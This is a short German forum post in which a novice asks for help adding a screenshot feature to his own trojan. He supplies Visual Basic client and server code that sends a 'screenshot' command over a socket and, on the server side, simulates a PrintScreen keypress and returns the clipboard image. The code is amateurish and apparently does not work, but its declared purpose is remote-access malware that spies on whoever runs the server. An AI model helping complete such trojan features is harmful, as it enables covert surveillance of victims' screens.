hay!
ich möchte gerne in meinen Trojaner eine Screenshot funktion einbauen!
aber irgendwie klappt das nicht!

beim client habe ich folgenen code benutzt


Private Sub Command1_Click()

Dim screen As String
Form1.Win1.SendData "screenshot"

Form1.Win1.GetData screen
Form8.Image1.Picture = screen


End Sub





und beim server diesen:


Private Sub Win1_DataArrival(ByVal bytesTotal As Long)
Win1.GetData Date_Primite
vector = Split(Date_Primite, "|")


Select Case vector(0)

Case "screenshot"

keybd_event &H2C, 0, 0, 0
DoEvents
Image1.Picture = Clipboard.GetData
screen = Image1.Picture
Win1.SendData screen

End Select
End Sub





bin noch nicht so gut in vb,
vieleicht könnt ihr mir ja helfen!!
mfg funky